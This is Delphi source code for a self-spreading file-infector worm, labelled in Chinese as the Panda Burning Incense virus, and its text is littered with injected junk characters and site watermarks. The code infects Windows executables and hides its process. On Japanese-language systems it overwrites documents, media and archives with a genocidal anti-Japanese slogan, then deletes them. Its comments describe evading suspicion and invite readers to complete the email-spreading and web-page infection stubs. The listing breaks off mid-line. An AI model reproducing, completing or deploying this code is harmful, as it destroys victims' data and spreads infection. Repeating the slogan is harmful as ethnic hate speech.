熊猫烧香病毒源程序代码

program Japussy;
9N,U5sBEO0uses
p-e'Y:_H0f0Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};51Testing软件测试网p;o]3~q3]aHU(S
const51Testing软件测试网 K!~(pMUkB~ {
HeaderSize = 82432;       //病毒体的大小51Testing软件测试网?,^0Vcy.D1i
IconOffset = $12EB8;     //PE文件主图标的偏移量51Testing软件测试网8RM(lSyv

//在我的Delphi5 SP1上面编译得到的大小，其它版本的Delphi可能不同
+Qv[9Im,r9w0//查找2800000020的十六进制字符串可以找到主图标的偏移量51Testing软件测试网M4}'p!g&c ~YG}BN

{
:U"w%e9^B-Y{0HeaderSize = 38912;       //Upx压缩过病毒体的大小
)?"JH}2UR0IconOffset = $92BC;       //Upx压缩过PE文件主图标的偏移量51Testing软件测试网Uk5`LXZ"m

n c vr I0 

//Upx 1.24W 用法: upx -9 --8086 Japussy.exe51Testing软件测试网"B6ml:T;JDy1nr
}51Testing软件测试网7vH9t.h4y
IconSize   = $2E8;       //PE文件主图标的大小--744字节
s|vY`@Y0IconTail   = IconOffset + IconSize; //PE文件主图标的尾部
'r"]V)]BU2a0ID   = $44444444;     //感染标记51Testing软件测试网z:L0]8C)d?-~8Y/|fW4{(}

0jJ:N!t3CI&k0//我非常爱你码，以备写入
5o
z$Ev$y h(I3S0Catchword = 'If a race need to be killed out, it must be Yamato. ' +51Testing软件测试网~dz}L!op2A/I
  'If a country need to be destroyed, it must be Japan! ' +
hu$?2rc\w^{{0  '*** W32.Japussy.Worm.A ***';
M0R'}"KFrX0{$R *.RES}51Testing软件测试网vi vI{G
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
6dR DS2{ rx
}&`0stdcall; external 'Kernel32.dll'; //函数声明
(V PG d$zB+c(v0var
8K_~r uND0TmpFile: string;
)e$f/h \4i+v)A0Si:   STARTUPINFO;
S)w9Y,_vbQoH0Pi:   PROCESS_INFORMATION;
p6O7~+J'm-V!eIb0IsJap:   Boolean = False; //日文操作系统标记51Testing软件测试网
|C O5DgN7|f_(Q
{ 判断是否为Win9x }
?i-vkO{E.s8\0function IsWin9x: Boolean;51Testing软件测试网:d/x1i;Z]x
var
Y+]_ AY$r\"]0Ver: TOSVersionInfo;51Testing软件测试网+`+^SgJv"[,VIe
begin51Testing软件测试网)P'z-M1?C(vt
Result := False;51Testing软件测试网8J!Jn8}.X)H5ci
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
D.f jzl/K}0if not GetVersionEx(Ver) then51Testing软件测试网 f/p#RvL`dG
Exit;
&^.te h7R
vH%D0if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
E}3{'P6W
h-h^N~0Result := True;
*Ub*T$N'o0end;
:Ct [zXX+gl V4h9w0{ 在流之间复制 }51Testing软件测试网)J4P]4b0p ?/W
procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
%MAD*a/i%lb"SCw0dStartPos: Integer; Count: Integer);
cT
VmZQ:b8A0var51Testing软件测试网tG*I i*Wr7|:\
sCurPos, dCurPos: Integer;51Testing软件测试网Q5G1? ^1S&O.~ a
begin51Testing软件测试网$yq2n\5_[
sCurPos := Src.Position;
TD&C @#ERU0dCurPos := Dst.Position;
*k`;g1Z*?g0Src.Seek(sStartPos, 0);51Testing软件测试网_I%MqOp+n
Dst.Seek(dStartPos, 0);
ov.pJ6j0Dst.CopyFrom(Src, Count);
EV\iN ?0Src.Seek(sCurPos, 0);51Testing软件测试网)a)mw ov z
Dst.Seek(dCurPos, 0);
_+^#^ \k0end;51Testing软件测试网%c0q3Oz5mL G0\
{ 将宿主文件从已感染的PE文件中分离出来，以备使用 }
_X:E[q0w0procedure ExtractFile(FileName: string);51Testing软件测试网5RH C7v6|d
m7pd
var
#y`U S0]7lTc)HgH:{0sStream, dStream: TFileStream;51Testing软件测试网R3{Z8u.r$f
begin51Testing软件测试网/R9BWnc(}&Z.{
try51Testing软件测试网Y
y&_'E0@$Z-~(F
sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);51Testing软件测试网;b)T%N_j!f
try51Testing软件测试网8GOm~|;Tk`*E
dStream := TFileStream.Create(FileName, fmCreate);51Testing软件测试网F$O1dv4@)mL
try
y O jnB0sStream.Seek(HeaderSize, 0); / 过头部的病毒部分
NN~^*Hu`-Fu0dStream.CopyFrom(sStream, sStream.Size - HeaderSize);51Testing软件测试网-?8TQ.KC(p? A
finally51Testing软件测试网.M@(LXH;[+iF3R
dStream.Free;51Testing软件测试网I+QS4q+E*AV(~w
end;51Testing软件测试网2c!m A8|l6u
finally
*V'l#gt k;M7Zr9q0sStream.Free;51Testing软件测试网 U];@#OyU4EFM+K
end;51Testing软件测试网}U
T5@+L7q
except
l0Z_9EA,S}0end;51Testing软件测试网Tk-mCA
end;51Testing软件测试网I~0JI)FZ/pH
{ 填充STARTUPINFO结构 }
X%Px8Z8N8G\z2aT7K2d0procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);51Testing软件测试网\{0};a&Y
begin
#^LX VBa'H`7n&\H0Si.cb := SizeOf(Si);51Testing软件测试网y~0l9h)W9@d)I/M8a\_
Si.lpReserved := nil;
H)QO"L+`D,I0Si.lpDesktop := nil;51Testing软件测试网3r*z%W.o~5ga
Si.lpTitle := nil;
'g@k1^2G"s4QDr0Si.dwFlags := STARTF_USESHOWWINDOW;
/KPmYus^D Z:h0Si.wShowWindow := State;
E#k-Ux;k7JNA w0Si.cbReserved2 := 0;
g7|4Nk!Ul[$Wl0Si.lpReserved2 := nil;
4IG3_!|,Oq3mIO0g0end;51Testing软件测试网1~-DwN0Qtm
{ 发带毒邮件 }51Testing软件测试网} X7@RU+a)~Q
procedure SendMail;
@yfX L-Xo8qB.j0begin51Testing软件测试网l z3vsm)k
//哪位仁兄愿意完成之？汤姆感激不尽！51Testing软件测试网-T.o(f#Y,gzg~}hc
end;51Testing软件测试网{7V;Iz N-gM
{ 感染PE文件 }
E3jp~9c%_4zY3Q;C0procedure InfectOneFile(FileName: string);
]od&`#aI0var51Testing软件测试网$|1g!x1`
W&o
HdrStream, SrcStream: TFileStream;51Testing软件测试网4x|Qs9bjcbM!r
IcoStream, DstStream: TMemoryStream;
.Ta P_R'xrM} Zg0iID: LongInt;
*_"[|b0Q0aIcon: TIcon;51Testing软件测试网-y mCQB
Infected, IsPE: Boolean;
!\
r g\2A'XiU'E d7I0i: Integer;
!j)}$t1A k:G.B u*n-E w0Buf: array[0..1] of Char;51Testing软件测试网l$ur/k
n6rpt~P
begin51Testing软件测试网1T\ tfW
try //出错则文件正在被使用，退出51Testing软件测试网4}K n^9e
if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染51Testing软件测试网)LnQk0Gg~B6ub
Exit;
z f\O'x,l0Infected := False;
0oO"l7b5w]0IsPE   := False;51Testing软件测试网(F;c"ml9l0X$J(\8b
SrcStream := TFileStream.Create(FileName, fmOpenRead);
*j!?R(X&`YjR0try51Testing软件测试网A(MJ.y6Zx2q!ZKM){
for i := 0 to $108 do //检查PE文件头
/Gnt5Y3^)P0begin51Testing软件测试网uv'R\.i
I~K8j
SrcStream.Seek(i, soFromBeginning);
gT^$s
d eUE0SrcStream.Read(Buf, 2);51Testing软件测试网(?C${]&?!i)K
if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记51Testing软件测试网O/@'YF5SaV'`(`
begin
1a"{.RM^\J(I7sw
[;y0  IsPE := True; //是PE文件
*xT8FmG%l0  Break;51Testing软件测试网2m;jwkGN2d
end;
6tj%c"RGh},b1K)K0end;51Testing软件测试网A7W-h#\P7u
SrcStream.Seek(-4, soFromEnd); //检查感染标记51Testing软件测试网U%f}+\8Q^&o
SrcStream.Read(iID, 4);51Testing软件测试网2A7Z/j:Y\*hn@
if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染51Testing软件测试网U X`4i7U$_ i
lA
Infected := True;
-~F j+EWp0finally
K4s/] r!S0SrcStream.Free;51Testing软件测试网C0J C}DP m
end;51Testing软件测试网^Q-]:TJ
if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出51Testing软件测试网Vj7d H^r&uW$DB
Exit;
"J)DF3s|v8eX0IcoStream := TMemoryStream.Create;51Testing软件测试网 K[0lP_+SF
DstStream := TMemoryStream.Create;51Testing软件测试网~b8\C
Hgu!V
try
Z0AP?vwFZx0aIcon := TIcon.Create;
$?5JK['W;G*w(h0try
;?V+{7K&n%db0//得到被感染文件的主图标(744字节)，存入流51Testing软件测试网Hf!z&`8B*bm
aIcon.ReleaseHandle;51Testing软件测试网.k&j l:d*m1_
aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
kGj/qF
M0aIcon.SaveToStream(IcoStream);51Testing软件测试网;c` z w];S
finally51Testing软件测试网}a6{JP7]$d
aIcon.Free;

|CB.D(u/n
j^0G&|3s0end;51Testing软件测试网 V P ZJpF9}
QyA
SrcStream := TFileStream.Create(FileName, fmOpenRead);51Testing软件测试网?.f*\V;Z YX&x?h
//头文件51Testing软件测试网7Z5F{7cuCmGVS
HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
.@GW&e(Om9s4T,h0try51Testing软件测试网K6Vs(@
D`,}:`p
//写入病毒体主图标之前的数据51Testing软件测试网DzUKq@R0_i
CopyStream(HdrStream, 0, DstStream, 0, IconOffset);51Testing软件测试网w{@Z.y
//写入目前程序的主图标51Testing软件测试网V y
e zV
CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);51Testing软件测试网 q%E!@;xN?
[z B
//写入病毒体主图标到病毒体尾部之间的数据
/\? fIc W|0CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
5|"?{JN0//写入宿主程序51Testing软件测试网-B ]8tjxl^F3O#a
CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
.]BQ`w5d0//写入已感染的标记
D4I!yuNl"z e!S0DstStream.Seek(0, 2);
$DRrp*N:d_/OEwp0iID := $44444444;
0pA)aG\S9k0DstStream.Write(iID, 4);51Testing软件测试网[ Z q8E)sut+{(TN+q
finally51Testing软件测试网%Z9]C|Y~],T
HdrStream.Free;51Testing软件测试网G3QH`3D
end;
fChJQb1M0finally
"H!j`}A;wW1a0SrcStream.Free;
*K1]X5O;TQ8N[r0IcoStream.Free;
&P7cNJ,s.C`D+U0DstStream.SaveToFile(FileName); //替换宿主文件
%nty|Ce,oC5Od0DstStream.Free;51Testing软件测试网![S5\"p(jL9b
end;51Testing软件测试网gT$u} g&~b/Ocv
except;51Testing软件测试网:G~'k!su&u
Cc(t{
end;51Testing软件测试网/H7k"s T8|)V%\(@
end;51Testing软件测试网!B!_'H9g"Q;H*Fq
{ 将目标文件写入我非常爱你码后删除 }
1Xr8{
M*Uk.@;l0procedure SmashFile(FileName: string);51Testing软件测试网$B.sN*g'k~9jwQu
var
t+w4t+l,p,a0FileHandle: Integer;51Testing软件测试网"]~/MaXK
i, Size, Mass, Max, Len: Integer;
7|8f0f2b
@0begin51Testing软件测试网 \|Z6z;M ?
try
+r:T+?1F(O;w0SetFileAttributes(PChar(FileName), 0); //去掉只读属性
q5_&Sv#l.Hh0FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件51Testing软件测试网 V5c
H*k2Q.J
v
try
|Id9l4`K6d9W+?0Size := GetFileSize(FileHandle, nil); //文件大小
2M&gw%U9t*\N0i := 0;51Testing软件测试网*[e!K-x vJp
Randomize;51Testing软件测试网d.dA1[@%Xw]Q8e/K k
Max := Random(15); //写入我非常爱你码的随机次数
,DA5[6a.Z0if Max < 5 then
.Z9k&T"f S K#B*|'~0Max := 5;
!n-W4\x;j3Jy0Mass := Size div Max; //每个间隔块的大小51Testing软件测试网"ey%L7M9X;[)f
Len := Length(Catchword);51Testing软件测试网)G*E){ E$]9}JV
while i < Max do51Testing软件测试网#w_EG2?3tFy
begin51Testing软件测试网Yr
G,D#o7`"|
FileSeek(FileHandle, i * Mass, 0); //定位
,A3X.l/rZ7](f,h#c0//写入我非常爱你码，将文件彻底破坏掉
?qp&V"zK^,st0FileWrite(FileHandle, Catchword, Len);51Testing软件测试网SXh ~.g5H4xe
Inc(i);51Testing软件测试网BgN~,S+P
end;51Testing软件测试网q@1H%c Bag"L
finally51Testing软件测试网)r*r'S'd3`4ME i
FileClose(FileHandle); //关闭文件
[
k3v-TT?Yg0end;
1aM
I
|#@bo K0DeleteFile(PChar(FileName)); //删除之
}m|%SgVAE(k0except
C-clk{A)b0end;51Testing软件测试网)iC&n*O5J b
end;51Testing软件测试网b&B/`u(l/H!`
{ 获得可写的驱动器列表 }
f
e'CQ$~0function GetDrives: string;
5d(Md7bA+y0var
]2A~2w0?J.L(e0DiskType: Word;51Testing软件测试网p0C\N)S3xn
D: Char;51Testing软件测试网a4W1rp [w/i{H(Hb
Str: string;51Testing软件测试网qi!w4}nX5S#iD
i: Integer;51Testing软件测试网1M
IU*Y3ILO9W
begin51Testing软件测试网X4D)F[_(Iu
for i := 0 to 25 do //遍历26个字母
&Rq y6a/g0begin
-_4zzaq"eq0D := Chr(i + 65);
h-]B S&OB4f%]0Str := D + ':\';
x T @&iu0VR0DiskType := GetDriveType(PChar(Str));
At hIh7z6lg3L0//得到本地磁盘和网络盘
Z f,s'a7T&I*V(d(m:f0if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then51Testing软件测试网wHJU}"y.y5Qw
Result := Result + D;
9`Xn~"Y/s,J1N0end;51Testing软件测试网8RYNv&j%? UD-h
end;51Testing软件测试网9e0@ObbB4r^2@j4G
{ 遍历目录，感染和摧毁文件 }51Testing软件测试网n%bY@*S@ s
procedure LoopFiles(Path, Mask: string);
9m sKj,iI6x1Y0var51Testing软件测试网D
WX,c:~p6j
i, Count: Integer;51Testing软件测试网BMM;V
Zb6};}7U$R
Fn, Ext: string;51Testing软件测试网#_y1rF6T
SubDir: TStrings;51Testing软件测试网J k%^%{(X\!O6s
SearchRec: TSearchRec;51Testing软件测试网C6|"gg$N:D-G$Pn
f
Msg: TMsg;
*P'Gkep/`C4u+N0function IsValidDir(SearchRec: TSearchRec): Integer;51Testing软件测试网6`.Z;fm&ycl0N[
begin51Testing软件测试网zz-Idg GW/EYV
if (SearchRec.Attr <> 16) and (SearchRec.Name <> '.') and
MH/G(N
O |-j0(SearchRec.Name <> '..') then
!LD.f W:Fa!p0Result := 0 //不是目录51Testing软件测试网IK,U0O"ep,i.Y
else if (SearchRec.Attr = 16) and (SearchRec.Name <> '.') and51Testing软件测试网&bH,Q.u'I4v
(SearchRec.Name <> '..') then
R3Z:m+o%x$c"P]0Result := 1 //不是根目录
5w eL.k1Dd%~2L3Q0else Result := 2; //是根目录51Testing软件测试网9XRuP
LA
end;
Mb
q"PVO$z0begin
l]S9dx0if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
3K wy-}2q&o{C0begin
m9N0N7ti0repeat
q3dQ OJ&PB&\0PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列，避免引起怀疑
~4\0@-w!qW[0if IsValidDir(SearchRec) = 0 then
c8]
ih pL+^T0begin51Testing软件测试网'f9E)q~r p_:i,S
Fn := Path + SearchRec.Name;51Testing软件测试网Sx3m ?{#br
Ext := UpperCase(ExtractFileExt(Fn));51Testing软件测试网\%l4W*S7Ax)D
if (Ext = '.EXE') or (Ext = '.SCR') then51Testing软件测试网*S t@,yVlw$Bh
begin
a C&n9l9iw0  InfectOneFile(Fn); //感染可执行文件   51Testing软件测试网&EqH9V.Fl
end51Testing软件测试网#?${4c0RO-[J+X_
else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then51Testing软件测试网u cpc%~o%b~D
begin
!j8R? l2BnwL Ko0  //感染HTML和ASP文件，将Base64编码后的病毒写入
S`6cRo
T2N1^0  //感染浏览此网页的所有用户，这个是我最喜欢的！51Testing软件测试网4|o2dj'J%a:w
  //哪位大兄弟愿意完成之？汤姆感激不尽！51Testing软件测试网c$S'R$|(V pks4Ejm
end51Testing软件测试网 V\h~&O{^%~
else if Ext = '.WAB' then //Outlook地址簿文件51Testing软件测试网2T5dx;h@5A
begin51Testing软件测试网3WEHbCJ a
  //获取Outlook邮件地址
?],W:{6]xFL'Z!X0end51Testing软件测试网{ c4t1Y~:t7B
else if Ext = '.ADC' then //Foxmail地址自动完成文件51Testing软件测试网0Bw Asf7A:j
begin
7Dh&sV]Nf4`0  //获取Foxmail邮件地址51Testing软件测试网0K ix}`0ry1Z_.G
end
kB~L
^&T0N0else if Ext = 'IND' then //Foxmail地址簿文件
\ch$MT0begin
!F-Mbh X1OD0  //获取Foxmail邮件地址51Testing软件测试网0S]U6aWc ?
end51Testing软件测试网
]f ra^
~1y0]
else 51Testing软件测试网mE Uq b]3PVZ}K
begin51Testing软件测试网UjXz~#d6h
  if IsJap then //是倭文操作系统51Testing软件测试网;v1yR3bt/L&B,T
  begin51Testing软件测试网 K
x|"k9q7{
  if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
T ozR:u1l0  (Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or51Testing软件测试网KPa+hWb%M\-h
  (Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or
:zD#J5P0h!O.qk8T@-G0  (Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or51Testing软件测试网L%O#]x q[+TID
  (Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or51Testing软件测试网:|~ Q9b:G|W,]A2? P
  (Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then51Testing软件测试网d f'A)M~
    SmashFile(Fn); //摧毁文件
K#G
sl6T!Q^'D(r0  end;51Testing软件测试网 P~4N{$Q
end;51Testing软件测试网:Z{N:f;bl5]
end;51Testing软件测试网 JW9i,I+V;Fir ]
//感染或删除一个文件后睡眠200毫秒，避免CPU占用率过高引起怀疑51Testing软件测试网v}
NcG
s
Sleep(200);

Ya2c8eerJ.m0until (FindNext(SearchRec) <> 0);51Testing软件测试网e_fJ?xT1Am!n
end;51Testing软件测试网7?1D Dnq
FindClose(SearchRec);51Testing软件测试网 ?^ [5Y(n
C`SK7v
SubDir := TStringList.Create;51Testing软件测试网$Mq%Mz.J1a8Y Y
if (FindFirst(Path + '*.